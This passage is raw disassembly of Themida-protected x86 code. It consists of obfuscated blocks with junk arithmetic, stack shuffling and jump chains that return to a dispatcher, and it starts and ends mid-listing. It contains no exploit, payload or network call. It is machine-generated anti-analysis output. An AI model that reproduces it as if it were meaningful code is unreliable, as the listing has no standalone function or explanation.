610856B7h sub ebx, 44717C5Ch jmp loc_552A36 ; --------------------------------------------------------------------------- loc_554DA1: ; CODE XREF: Themida_:0055834Bj add esp, 4 push edx mov dh, 0ACh add al, dh pop edx jmp loc_550612 ; --------------------------------------------------------------------------- loc_554DB2: ; CODE XREF: Themida_:0055B9FAj pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi mov esi, esp add esi, 4 jmp loc_559331 ; --------------------------------------------------------------------------- loc_554DD1: ; CODE XREF: Themida_:00560144j push eax mov eax, 12BF6E25h add edx, eax pop eax pop esi push edi jmp loc_565687 ; --------------------------------------------------------------------------- loc_554DE1: ; CODE XREF: Themida_:0055D587j pop small word ptr [edi+eax*4] jmp loc_550420 ; --------------------------------------------------------------------------- loc_554DEA: ; CODE XREF: Themida_:0055B62Aj mov edi, 4B7308BBh xor edx, edi pop edi add esi, edx pop edx add esi, 4 xchg esi, [esp] mov esp, [esp] loc_554E01: ; CODE XREF: Themida_:00551819j push 42B8h mov [esp], ebx push dword ptr [esp] mov ebx, [esp] push ebp mov ebp, esp push edx mov edx, 2C314EFDh neg edx jmp loc_555138 ; --------------------------------------------------------------------------- loc_554E1F: ; CODE XREF: Themida_:00551109j sub esp, 4 mov [esp], edi push esp pop edi push ebp jmp loc_551C9A ; --------------------------------------------------------------------------- loc_554E2D: ; CODE XREF: Themida_:0055D2B0j add ecx, ebp pop ebp add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov eax, [esp] push ecx push esp pop ecx push edi mov edi, 4 jmp loc_552B50 ; --------------------------------------------------------------------------- loc_554E5B: ; CODE XREF: Themida_:005511A3j mov edi, 4 add eax, edi jmp loc_55D27F ; --------------------------------------------------------------------------- loc_554E67: ; CODE XREF: Themida_:0056419Fj mov dl, al mov cl, dl jmp loc_562F35 ; --------------------------------------------------------------------------- loc_554E70: ; CODE XREF: Themida_:00564937j xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_5577C8 ; --------------------------------------------------------------------------- loc_554E7F: ; CODE XREF: Themida_:005636E3j push esp pop ebp push ebx mov ebx, 4 jmp loc_557435 ; --------------------------------------------------------------------------- loc_554E8C: ; CODE XREF: Themida_:00553D02j jmp loc_550420 ; --------------------------------------------------------------------------- loc_554E91: ; CODE XREF: Themida_:00565230j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg ebx, [esp] mov esp, [esp] mov ax, [esp] push edi mov edi, esp push eax push edx jmp loc_55E6AD ; --------------------------------------------------------------------------- loc_554EB4: ; CODE XREF: Themida_:00558562j push ebp mov ebp, 4 jmp loc_554FF7 ; --------------------------------------------------------------------------- loc_554EBF: ; CODE XREF: Themida_:00550980j sub edi, ebp pop ebp push edx mov edx, 7A167DB7h jmp loc_56264E ; --------------------------------------------------------------------------- loc_554ECD: ; CODE XREF: Themida_:0055DCFCj add esp, 4 add eax, 411C7846h sub eax, ebx sub eax, 411C7846h push ecx mov ecx, 6E031FF6h xor ecx, 3B781B7Fh neg ecx sub ecx, 0B6C3A15h jmp loc_559039 ; --------------------------------------------------------------------------- loc_554EF8: ; CODE XREF: Themida_:00562F14j not esi jmp loc_562C39 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_555B90 ; --------------------------------------------------------------------------- loc_554F07: ; CODE XREF: Themida_:0055CED2j add esp, 4 jmp loc_55C8EA ; --------------------------------------------------------------------------- loc_554F0F: ; CODE XREF: Themida_:0055B014j sub dh, 0FFh jmp loc_5528A7 ; --------------------------------------------------------------------------- loc_554F17: ; CODE XREF: Themida_:0055F314j push dword ptr [esp] mov ebx, [esp] sub esp, 4 jmp loc_560BB6 ; --------------------------------------------------------------------------- loc_554F25: ; CODE XREF: Themida_:0056175Dj sub ecx, 3C52D6Fh neg ecx push eax mov eax, 3CFFB71h jmp loc_55F2A2 ; --------------------------------------------------------------------------- loc_554F38: ; CODE XREF: Themida_:0055D03Aj add al, bl pop ebx mov ebx, [esp] add esp, 4 push eax mov al, 0B8h shl al, 8 push cx push edx push ebx mov bl, 0F0h mov dl, bl pop ebx mov ch, dl pop edx add al, 12h add al, 48h add al, ch jmp loc_55CC9D ; --------------------------------------------------------------------------- loc_554F5E: ; CODE XREF: Themida_:0055992Fj mov esi, 267E10BCh sub ecx, esi pop esi add ecx, 2B75B59Fh add ebx, ecx pop ecx pop ebp jmp loc_564BC6 ; --------------------------------------------------------------------------- loc_554F75: ; CODE XREF: Themida_:0055FB62j push eax mov eax, 0B6163BBFh add edi, 36115B46h add edi, eax push ebp mov ebp, 3F350953h inc ebp jmp loc_551831 ; --------------------------------------------------------------------------- loc_554F8F: ; CODE XREF: Themida_:00552A38j push 2 jmp loc_562EB2 ; --------------------------------------------------------------------------- loc_554F99: ; CODE XREF: Themida_:005550F2j pop ecx sub esp, 4 mov [esp], eax jmp loc_55F27E ; --------------------------------------------------------------------------- loc_554FA5: ; CODE XREF: Themida_:0055075Bj mov ecx, 390612F8h xor ecx, 161C79F5h xor ecx, 66893435h sub ebx, ecx pop ecx jmp loc_552D42 ; --------------------------------------------------------------------------- loc_554FBE: ; CODE XREF: Themida_:00557B6Fj pop ecx jmp loc_559C28 ; --------------------------------------------------------------------------- loc_554FC4: ; CODE XREF: Themida_:00555632j shl ebx, 8 or ebx, 0F974C22h not ebx push ebp mov ebp, 61097FD5h dec ebp sub ebp, 2C5F0315h jmp loc_562507 ; --------------------------------------------------------------------------- loc_554FE1: ; CODE XREF: Themida_:00559B68j xchg edx, [esp] pop ebp push edi push ebp pop edi pop ebp add edi, 0FFFFFFFFh xor edi, 0E67080A4h jmp loc_550805 ; --------------------------------------------------------------------------- loc_554FF7: ; CODE XREF: Themida_:00554EBAj sub dword ptr [esp+4], 404F5D17h add dword ptr [esp+4], 2B88194Eh jmp loc_55A8F9 ; --------------------------------------------------------------------------- loc_55500C: ; CODE XREF: Themida_:00552007j xchg ch, [esp+1] not ch xchg ch, [esp+1] push dword ptr [esp] jmp loc_560C3D ; --------------------------------------------------------------------------- loc_55501E: ; CODE XREF: Themida_:005600C5j add edi, 6FF37307h and edi, 321E761Bh sub edi, 200A2207h jmp loc_561AA0 ; --------------------------------------------------------------------------- loc_555035: ; CODE XREF: Themida_:0055C351j and ecx, ebp jmp loc_55B30C ; --------------------------------------------------------------------------- loc_55503C: ; CODE XREF: Themida_:0055ED3Cj mov edi, 4 add eax, edi pop edi sub esp, 4 mov [esp], edi mov edi, 4 sub eax, edi jmp loc_55FA06 ; --------------------------------------------------------------------------- loc_555059: ; CODE XREF: Themida_:00558DF8j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55B8B8 ; --------------------------------------------------------------------------- loc_555073: ; CODE XREF: Themida_:0055A7DBj add esp, 4 push 215Ah mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_555093: ; CODE XREF: Themida_:0055F2E2j pop ebp sub esp, 4 mov [esp], esi push ebp push dword ptr [esp] pop esi add esp, 4 pop ebp add ebp, 0FFFFFFFFh xchg ebp, esi xor esi, 5B5F7FBAh push eax mov eax, 30h add eax, 7B0A5700h add eax, edx jmp loc_55CBFB ; --------------------------------------------------------------------------- loc_5550C6: ; CODE XREF: Themida_:00557844j push 5984h mov [esp], edx push ecx mov ecx, 5B005E76h neg ecx jmp loc_556726 ; --------------------------------------------------------------------------- loc_5550DB: ; CODE XREF: Themida_:00561062j push edx mov dl, 1Fh sub bh, dl pop edx xor al, bh pop ebx jmp loc_55D582 ; --------------------------------------------------------------------------- loc_5550E9: ; CODE XREF: Themida_:00552A50j mov dword ptr [ecx], 0 push dword ptr [esp] jmp loc_554F99 ; --------------------------------------------------------------------------- loc_5550F7: ; CODE XREF: Themida_:0055C111j pop esp jmp loc_56437B ; --------------------------------------------------------------------------- loc_5550FD: ; CODE XREF: Themida_:0055AAD4j mov cl, 64h and bl, cl jmp loc_550DFD ; --------------------------------------------------------------------------- loc_555106: ; CODE XREF: Themida_:005626DCj mov esp, [esp] xor eax, esi push dword ptr [esp] mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_55CB47 ; --------------------------------------------------------------------------- loc_555125: ; CODE XREF: Themida_:0055D6A0j add edx, 540C7F6Ah add edx, eax sub edx, 540C7F6Ah jmp loc_551758 ; --------------------------------------------------------------------------- loc_555138: ; CODE XREF: Themida_:00554E1Aj shr edx, 8 xor edx, 7E520F57h shr edx, 2 jmp loc_555EFC ; --------------------------------------------------------------------------- loc_555149: ; CODE XREF: Themida_:0055FF65j push 643E2B1Fh jmp loc_55BC11 ; --------------------------------------------------------------------------- loc_555153: ; CODE XREF: Themida_:0055C57Aj mov ecx, [esp] add esp, 4 xor edx, ebp jmp loc_557B89 ; --------------------------------------------------------------------------- loc_555160: ; CODE XREF: Themida_:00556C2Cj shr edi, 3 shr edi, 4 dec edi shr edi, 1 xchg ebx, edi inc ebx xchg ebx, edi jmp loc_5544B0 ; --------------------------------------------------------------------------- loc_555173: ; CODE XREF: Themida_:00556EC6j push edi dec dword ptr [esp] jmp loc_55BBBF ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55CB75 ; --------------------------------------------------------------------------- loc_555185: ; CODE XREF: Themida_:00552719j push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 2C256FEBh dec ebx jmp loc_55D2C7 ; --------------------------------------------------------------------------- loc_55519A: ; CODE XREF: Themida_:00552B6Fj sub esi, 324D7944h jmp loc_55E55B ; --------------------------------------------------------------------------- loc_5551A5: ; CODE XREF: Themida_:00558047j sub dh, 87h sub al, dh mov edx, [esp] push ebx jmp loc_558D6C ; --------------------------------------------------------------------------- loc_5551B3: ; CODE XREF: Themida_:00558AD9j mov [esp], edi mov edi, edx push edi add dword ptr [esp], 5E863B2h pop ebx jmp loc_565343 ; --------------------------------------------------------------------------- loc_5551C6: ; CODE XREF: Themida_:00551BF9j pop eax add ebp, esi mov esi, [esp] add esp, 4 xor edx, ebp pop ebp and ecx, edx jmp loc_55414C ; --------------------------------------------------------------------------- loc_5551D9: ; CODE XREF: Themida_:0055EF2Ej sub ebx, 0FFFFFFFFh sub ebx, 41F77DDCh add ebx, 57E74FA6h add ebx, 0B959CD97h xor ecx, ebx pop ebx dec ecx or ecx, 7DD33591h jmp loc_55F982 ; --------------------------------------------------------------------------- loc_555200: ; CODE XREF: Themida_:00558246j sub esi, 27F572Fh push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub edx, esi mov esi, [esp] add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] pop dword ptr [esp] push 64A9h mov [esp], edx jmp loc_562A70 ; --------------------------------------------------------------------------- loc_555259: ; CODE XREF: Themida_:00562257j pop eax add ebx, 2 push ecx push esp pop ecx jmp loc_5572E0 ; --------------------------------------------------------------------------- loc_555268: ; CODE XREF: Themida_:0055F3D0j xor al, bh jmp loc_55E6F0 ; --------------------------------------------------------------------------- loc_55526F: ; CODE XREF: Themida_:0055DDC3j xor eax, 79C3D90h not eax jmp loc_558E33 ; --------------------------------------------------------------------------- loc_55527B: ; CODE XREF: Themida_:00554721j push 683Ah mov [esp], edi mov edi, 4C1E6558h sub edx, edi jmp loc_55EB2D ; --------------------------------------------------------------------------- loc_55528F: ; CODE XREF: Themida_:0055EFABj mov esi, 294E16BFh jmp loc_5530AF ; --------------------------------------------------------------------------- loc_555299: ; CODE XREF: Themida_:00564AD2j sub edi, 758004Fh sub edi, 0FFFFFFFFh push ebp jmp loc_561EA9 ; --------------------------------------------------------------------------- loc_5552A8: ; CODE XREF: Themida_:0055046Aj mov ebx, 7DA293Ch mov edi, 7DA2940h jmp loc_551095 ; --------------------------------------------------------------------------- loc_5552B7: ; CODE XREF: Themida_:00560F3Ej mov ecx, 66D512FFh jmp loc_558BE3 ; --------------------------------------------------------------------------- loc_5552C1: ; CODE XREF: Themida_:005638B4j sub [edi+24h], ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_560C6E ; --------------------------------------------------------------------------- loc_5552DB: ; CODE XREF: Themida_:0056082Cj sub al, dl add al, 0C7h jmp loc_552A28 ; --------------------------------------------------------------------------- loc_5552E4: ; CODE XREF: Themida_:00558D67j mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5552F0: ; CODE XREF: Themida_:005509DCj pop esp jmp loc_55A7EF ; --------------------------------------------------------------------------- loc_5552F6: ; CODE XREF: Themida_:0055C9D5j sub ecx, eax pop eax push dword ptr [esp] mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 mov esi, ecx pop ecx and [edi+1Ch], esi jmp loc_56463F ; --------------------------------------------------------------------------- loc_555320: ; CODE XREF: Themida_:00554B4Ej pop ecx jmp loc_561F20 ; --------------------------------------------------------------------------- loc_555326: ; CODE XREF: Themida_:0055FE64j pop ebx jmp loc_565362 ; --------------------------------------------------------------------------- loc_55532C: ; CODE XREF: Themida_:0056128Aj push dword ptr [esp] pop ebx jmp loc_553DC6 ; --------------------------------------------------------------------------- loc_555335: ; CODE XREF: Themida_:0055F6F5j add eax, 716259A2h sub eax, esi push edi jmp loc_55639A ; --------------------------------------------------------------------------- loc_555342: ; CODE XREF: Themida_:0055994Ej add edi, 4 add edi, 2 jmp loc_552472 ; --------------------------------------------------------------------------- loc_555350: ; CODE XREF: Themida_:0055EA8Dj mov ecx, [esp] push ecx mov ecx, esp push edx jmp loc_55DED2 ; --------------------------------------------------------------------------- loc_55535C: ; CODE XREF: Themida_:00564387j mov [esp], edi mov edi, esp sub esp, 4 mov [esp], ebx mov ebx, 9285E45h and ebx, 1F837E8Ch shr ebx, 4 jmp loc_5614C5 ; --------------------------------------------------------------------------- loc_55537A: ; CODE XREF: Themida_:00551083j add bl, al sub bl, 80h sub bl, 5Bh pop eax push ecx push 6531h jmp loc_55FEAD ; --------------------------------------------------------------------------- loc_55538E: ; CODE XREF: Themida_:0055CADEj add esi, ecx sub esi, 15DE661Bh mov ecx, [esp] add esp, 4 jmp loc_5528B7 ; --------------------------------------------------------------------------- loc_5553A4: ; CODE XREF: Themida_:0055638Bj pop edi sub ebx, 6D371430h jmp loc_557956 ; --------------------------------------------------------------------------- loc_5553B0: ; CODE XREF: Themida_:00551C20j add bl, 0DCh pop ecx push ecx mov cl, 62h or bl, cl pop ecx push eax jmp loc_555482 ; --------------------------------------------------------------------------- loc_5553C0: ; CODE XREF: Themida_:005653C6j pop edi jmp loc_552D93 ; --------------------------------------------------------------------------- loc_5553C6: ; CODE XREF: Themida_:00562EADj mov edx, eax jmp loc_553419 ; --------------------------------------------------------------------------- loc_5553CD: ; CODE XREF: Themida_:005630D1j shl al, 6 push ebx mov bh, 3Bh and bh, 0AAh xor bh, 94h add bh, 0F9h xor al, bh pop ebx add al, 40h and dl, al jmp loc_557338 ; --------------------------------------------------------------------------- loc_5553E8: ; CODE XREF: Themida_:00559EC4j neg eax jmp loc_55EBAE ; --------------------------------------------------------------------------- loc_5553EF: ; CODE XREF: Themida_:00558598j mov edi, [esp] add esp, 4 shr ebx, 5 jmp loc_55FE4D ; --------------------------------------------------------------------------- loc_555400: ; CODE XREF: Themida_:005570B0j add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] add [esp], al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_555412: ; CODE XREF: Themida_:0055862Fj pop edx add edx, 12CC31C5h add edx, 0FFFFFFFFh push ebx jmp loc_5656B7 ; --------------------------------------------------------------------------- loc_555422: ; CODE XREF: Themida_:0055FB8Fj push edx push esi mov esi, 2 jmp loc_55F78A ; --------------------------------------------------------------------------- loc_55542E: ; CODE XREF: Themida_:00556647j sub edi, eax pop eax add edi, 6CF80090h sub edi, edx sub edi, 6CF80090h add edi, 67BD4FB9h jmp loc_551DED ; --------------------------------------------------------------------------- loc_55544A: ; CODE XREF: Themida_:00558DC4j add edx, 80F961B1h add ecx, edx jmp loc_5596B5 ; --------------------------------------------------------------------------- loc_555457: ; CODE XREF: Themida_:0055F223j mov ecx, 67B942A9h jmp loc_55D8EE ; --------------------------------------------------------------------------- loc_555461: ; CODE XREF: Themida_:00558109j add eax, 877A5A25h sub edi, eax pop eax not edi sub edi, 0D599BA7Eh sub eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_564256 ; --------------------------------------------------------------------------- loc_555482: ; CODE XREF: Themida_:005553BBj mov ah, 34h sub bl, ah push dword ptr [esp] pop eax add esp, 4 sub ch, bl mov ebx, [esp] add esp, 4 xor al, ch push dword ptr [esp] mov ecx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5655F3 ; --------------------------------------------------------------------------- loc_5554B8: ; CODE XREF: Themida_:005616E6j push 379B0306h pop ecx push ebp mov ebp, 379B0302h sub ecx, ebp mov ebp, [esp] add esp, 4 mov ebp, ecx mov ecx, [esp] add esp, 4 add edi, ebp pop ebp jmp loc_55492B ; --------------------------------------------------------------------------- loc_5554E2: ; CODE XREF: Themida_:005549A2j push eax push edx mov edx, 2765552Ch sub [esp+4], edx pop edx pop esi jmp loc_5603EB ; --------------------------------------------------------------------------- loc_5554F4: ; CODE XREF: Themida_:00564CF2j mov ebp, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- loc_555508: ; CODE XREF: Themida_:0055DE20j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ebx sub dword ptr [esp], 77D57B7Ch mov eax, [esp] sub esp, 4 mov [esp], eax jmp loc_550D42 ; --------------------------------------------------------------------------- loc_55552C: ; CODE XREF: Themida_:005535DFj sub edi, 357E4BC8h pop eax xchg edi, [esp] mov esp, [esp] xchg esi, [esp] pop esp push 3F67h mov [esp], edx push 429C44FDh pop edx push ebx mov ebx, 6B45086Bh and ebx, 76D461F0h and ebx, 49B17B0Bh sub ebx, 1E2BB6F2h or edx, ebx pop ebx shl edx, 2 push 20F0h mov [esp], eax mov eax, 562F2AC7h or edx, eax mov eax, [esp] jmp loc_55DEEC ; --------------------------------------------------------------------------- loc_555580: ; CODE XREF: Themida_:00556F2Dj or cl, ah pop eax push small 0C1Bh mov [esp], ax mov ah, 1 jmp loc_560AA6 ; --------------------------------------------------------------------------- loc_555592: ; CODE XREF: Themida_:00553C89j sub esp, 4 mov [esp], edi not dword ptr [esp] mov edi, [esp] add esp, 4 add edi, 643D9201h and eax, edi mov edi, [esp] jmp loc_5659CB ; --------------------------------------------------------------------------- lodsb push edx jmp loc_5653FD ; --------------------------------------------------------------------------- loc_5555BB: ; CODE XREF: Themida_:00564FA2j add esi, 1 jmp loc_563274 ; --------------------------------------------------------------------------- loc_5555C6: ; CODE XREF: Themida_:00562CB4j add esp, 4 push eax jmp loc_558B00 ; --------------------------------------------------------------------------- loc_5555D2: ; CODE XREF: Themida_:00550938j mov al, dl pop edx mov bh, [esp+4] mov [esp+4], al jmp loc_559B31 ; --------------------------------------------------------------------------- loc_5555E2: ; CODE XREF: Themida_:00564D7Bj mov edi, ecx mov ecx, [esp] add esp, 4 push 53A2h mov [esp], eax push ebx jmp loc_55334F ; --------------------------------------------------------------------------- loc_5555FB: ; CODE XREF: Themida_:005631ADj mov eax, 4 add ecx, eax pop eax push ecx jmp loc_5613A3 ; --------------------------------------------------------------------------- loc_555609: ; CODE XREF: Themida_:0056524Cj sub ecx, 8DF8166h add ebx, 2E354506h add ebx, ecx sub ebx, 2E354506h pop ecx mov edx, ebx pop ebx push ebp mov ebp, 7C7644CFh sub eax, ebp pop ebp add eax, edx push ebx mov ebx, 56A10305h jmp loc_554FC4 ; --------------------------------------------------------------------------- loc_555637: ; CODE XREF: Themida_:0055DA88j dec eax shl eax, 8 jmp loc_55BBEC ; --------------------------------------------------------------------------- loc_555640: ; CODE XREF: Themida_:00556E7Dj pop ebx pop dword ptr [esp] mov esp, [esp] push edi sub esp, 4 jmp near ptr word_55276A ; --------------------------------------------------------------------------- loc_555650: ; CODE XREF: Themida_:0056296Cj mov ecx, [esp] jmp loc_561755 ; --------------------------------------------------------------------------- loc_555658: ; CODE XREF: Themida_:00559997j pop ecx add esp, 4 push ecx mov ch, 0E7h and ch, 37h inc ch xor ch, 9Bh dec ch xor ch, 68h add al, ch pop ecx add al, cl sub al, 0DAh push bx mov bl, 70h add al, bl pop bx pop ecx push ebp jmp loc_563A4E ; --------------------------------------------------------------------------- loc_555682: ; CODE XREF: Themida_:0056326Fj mov ch, 0B7h push cx mov ch, 0D1h push edx mov dh, 1Ch not dh sub dh, 0D9h sub dh, 0E9h jmp loc_564415 ; --------------------------------------------------------------------------- loc_555698: ; CODE XREF: Themida_:00564FFDj add esi, ebp mov ebp, [esp] push edx mov edx, esp jmp loc_55D8DC ; --------------------------------------------------------------------------- loc_5556A5: ; CODE XREF: Themida_:00564E93j pop edi add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 6EAF2C66h sub [esp+4], esi pop esi push ebx mov ebx, 75BA3676h sub dword ptr [esp+4], 11F5200Ah jmp loc_557304 ; --------------------------------------------------------------------------- loc_5556DE: ; CODE XREF: Themida_:00559DFAj push ebx push ebp jmp loc_55EFBF ; --------------------------------------------------------------------------- loc_5556E5: ; CODE XREF: Themida_:0056058Dj push esi mov esi, esp push ebx mov ebx, 4 add esi, 722065B7h jmp loc_55E51B ; --------------------------------------------------------------------------- loc_5556F9: ; CODE XREF: Themida_:005593F5j push edi mov edi, 0CBE5C14h shl edi, 5 or edi, 2A1E38D0h xor edi, 0DA82E3F3h mov ebx, edi pop edi push edx mov edx, 63577F2Ah add ebx, edx pop edx push ecx jmp loc_552CE3 ; --------------------------------------------------------------------------- loc_555720: ; CODE XREF: Themida_:0055377Ej pop ebx jmp loc_55E5FE ; --------------------------------------------------------------------------- loc_555726: ; CODE XREF: Themida_:005640BEj push dword ptr [esp] pop edx add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 7105h mov [esp], ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 8D251B8h jmp loc_561918 ; --------------------------------------------------------------------------- loc_555757: ; CODE XREF: Themida_:0055BF07j push ecx push 42D4h mov [esp], ebx sub esp, 4 jmp loc_563988 ; --------------------------------------------------------------------------- lodsd sub eax, 320A6291h sub eax, 4E4136C4h sub eax, ebx push edx mov edx, 4E4136C4h sub eax, 329576E3h add eax, edx add eax, 329576E3h push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55EA5D ; --------------------------------------------------------------------------- loc_5557A2: ; CODE XREF: Themida_:0055854Dj not esi inc esi add esi, 0D6AF4F70h sub eax, esi pop esi mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_55E20F ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edx push esp jmp loc_55145F ; --------------------------------------------------------------------------- loc_5557CA: ; CODE XREF: Themida_:00559E66j sub eax, 66DF7AD7h mov ecx, [esp] push 3A64h jmp loc_5602AC ; --------------------------------------------------------------------------- loc_5557DC: ; CODE XREF: Themida_:00552381j push dword ptr [esp] pop eax push esi mov esi, esp push eax mov eax, 4 add esi, eax jmp loc_558CDD ; --------------------------------------------------------------------------- loc_5557F0: ; CODE XREF: Themida_:0055B46Bj sub edx, 19A375FDh pop edi jmp loc_55857E ; --------------------------------------------------------------------------- loc_5557FC: ; CODE XREF: Themida_:005591CDj push edx not dword ptr [esp] pop edx jmp loc_562770 ; --------------------------------------------------------------------------- loc_555806: ; CODE XREF: Themida_:0055B9A1j mov ebx, [esp] add esp, 4 sub al, 36h jmp loc_55D4CB ; --------------------------------------------------------------------------- loc_555816: ; CODE XREF: Themida_:0055432Dj push 1E6Eh jmp loc_5577C0 ; --------------------------------------------------------------------------- loc_555820: ; CODE XREF: Themida_:0055EF56j mov ecx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_564934 ; --------------------------------------------------------------------------- loc_555836: ; CODE XREF: Themida_:00557295j add ecx, edx sub ecx, 90A3277h jmp loc_557B46 ; --------------------------------------------------------------------------- loc_555843: ; CODE XREF: Themida_:0055F6D9j push 398Fh mov [esp], ebp pop edx pop ebp jmp loc_55CE44 ; --------------------------------------------------------------------------- loc_555852: ; CODE XREF: Themida_:00556DEFj pop esp pop edx push ebp mov ebp, esp jmp loc_562971 ; --------------------------------------------------------------------------- loc_55585C: ; CODE XREF: Themida_:00559B2Cj sub eax, 1CFE0E48h add eax, esi push esi mov esi, 1CFE0E48h add eax, esi pop esi mov esi, [esp] add esp, 4 push ebx mov ebx, 2CAB3C24h push 0 sub dword ptr [esp], 15A97FD1h sub [esp], ebx add dword ptr [esp], 15A97FD1h pop ebx or ebx, 7FF4486Ch xor ebx, 0FFF4CBF8h jmp loc_55A525 ; --------------------------------------------------------------------------- loc_5558A3: ; CODE XREF: Themida_:005652E4j add eax, 3560E91Ch xor ebp, eax jmp loc_5633ED ; --------------------------------------------------------------------------- loc_5558AF: ; CODE XREF: Themida_:0055C4EEj add edx, 29478719h add edx, 7DFA6347h neg edx or edx, 5C1F2A92h and edx, 617F4AF1h xor edx, 8208D9CAh jmp loc_563EE2 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5517DC ; --------------------------------------------------------------------------- loc_5558E5: ; CODE XREF: Themida_:00562B4Bj push eax mov eax, 4 jmp loc_559221 ; --------------------------------------------------------------------------- mov ax, [esp] push 624Eh jmp loc_552643 ; --------------------------------------------------------------------------- loc_5558FE: ; CODE XREF: Themida_:005607FAj push ecx jmp loc_556338 ; --------------------------------------------------------------------------- loc_555904: ; CODE XREF: Themida_:00551F69j inc ebp not ebp xor ebp, 0B97BFF37h sub ebx, ebp pop ebp add ebx, 58850431h add ebx, edx sub ebx, 58850431h add ebx, 67C4228Ah push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_559BC4 ; --------------------------------------------------------------------------- loc_555930: ; CODE XREF: Themida_:0055C1C3j push edi push dword ptr [esp+4] jmp loc_55C10D ; --------------------------------------------------------------------------- loc_55593A: ; CODE XREF: Themida_:00562BBFj add esp, 4 jmp loc_55EDCA ; --------------------------------------------------------------------------- loc_555945: ; CODE XREF: Themida_:00554D2Ej add esi, 4 push esi push dword ptr [esp+4] jmp loc_5597CC ; --------------------------------------------------------------------------- loc_555955: ; CODE XREF: Themida_:00557074j neg edi sub edi, 96116DAh shr edi, 8 neg edi xor edi, 0FF5A785Bh sub ecx, 214172CEh add ecx, edi jmp loc_550493 ; --------------------------------------------------------------------------- loc_555975: ; CODE XREF: Themida_:0055CD7Cj mov [esp], bx push ebp mov bp, 96Fh or bp, 476Eh shl bp, 8 shl bp, 4 not bp push ecx push eax jmp loc_55B887 ; --------------------------------------------------------------------------- loc_555995: ; CODE XREF: Themida_:0055F6B3j push edx mov edx, 2AF272D3h sub esi, edx pop edx xor esi, 508DD028h add edx, esi mov esi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_560DC1 ; --------------------------------------------------------------------------- lodsd jmp loc_5513D7 ; --------------------------------------------------------------------------- loc_5559C3: ; CODE XREF: Themida_:0055BA5Dj sub eax, 66D55C41h and eax, 596B5A08h jmp loc_55CBB0 ; --------------------------------------------------------------------------- loc_5559D2: ; CODE XREF: Themida_:00554C49j add dword ptr [esp], 247C0FA7h pop ecx sub ecx, 247C0FA7h mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_55FBF1 ; --------------------------------------------------------------------------- loc_5559F1: ; CODE XREF: Themida_:00558C40j push ebx push 5479h mov [esp], esp push edx push ecx push 5B7D5140h pop ecx inc ecx jmp loc_55DBEE ; --------------------------------------------------------------------------- loc_555A08: ; CODE XREF: Themida_:0055E4D0j pop ecx inc ah shl ah, 6 inc ah sub ah, 29h or ah, 0D4h shr ah, 7 or ah, 5Eh jmp loc_554588 ; --------------------------------------------------------------------------- loc_555A21: ; CODE XREF: Themida_:0055F257j mov edi, 72EC3952h sub esi, edi pop edi add esi, 53852197h add esi, ebp sub esi, 53852197h push ebx mov ebx, 3C8E097Ch dec ebx and ebx, 69955A1Eh add ebx, 7B947831h xor ebx, 67F377ECh add ebx, 34CD661Fh sub ebx, 85CD2474h jmp loc_556F4E ; --------------------------------------------------------------------------- loc_555A61: ; CODE XREF: Themida_:00562F52j pop esp push 7705h mov [esp], esi push esp pop esi add esi, 4 push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_55D07B ; --------------------------------------------------------------------------- loc_555A80: ; CODE XREF: Themida_:0055401Aj pop edx sub edi, esi mov esi, [esp] add esp, 4 add edi, edx push ecx mov ecx, 4E05314Ch shl ecx, 6 and ecx, 20246196h xor ecx, 6D9A22D5h push edi mov edi, 5F466078h sub ecx, edi mov edi, [esp] add esp, 4 add edi, ecx pop ecx push esi mov esi, 65AE00E9h inc esi sub esi, 1 jmp loc_5596F1 ; --------------------------------------------------------------------------- loc_555AC9: ; CODE XREF: Themida_:0055CCF0j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55B6B4 ; --------------------------------------------------------------------------- loc_555AD8: ; CODE XREF: Themida_:00552AA2j sub [esp+8], eax sub dword ptr [esp+8], 26A43B2Fh pop eax sub [esp+4], ecx push edi mov edi, 2534383Dh sub dword ptr 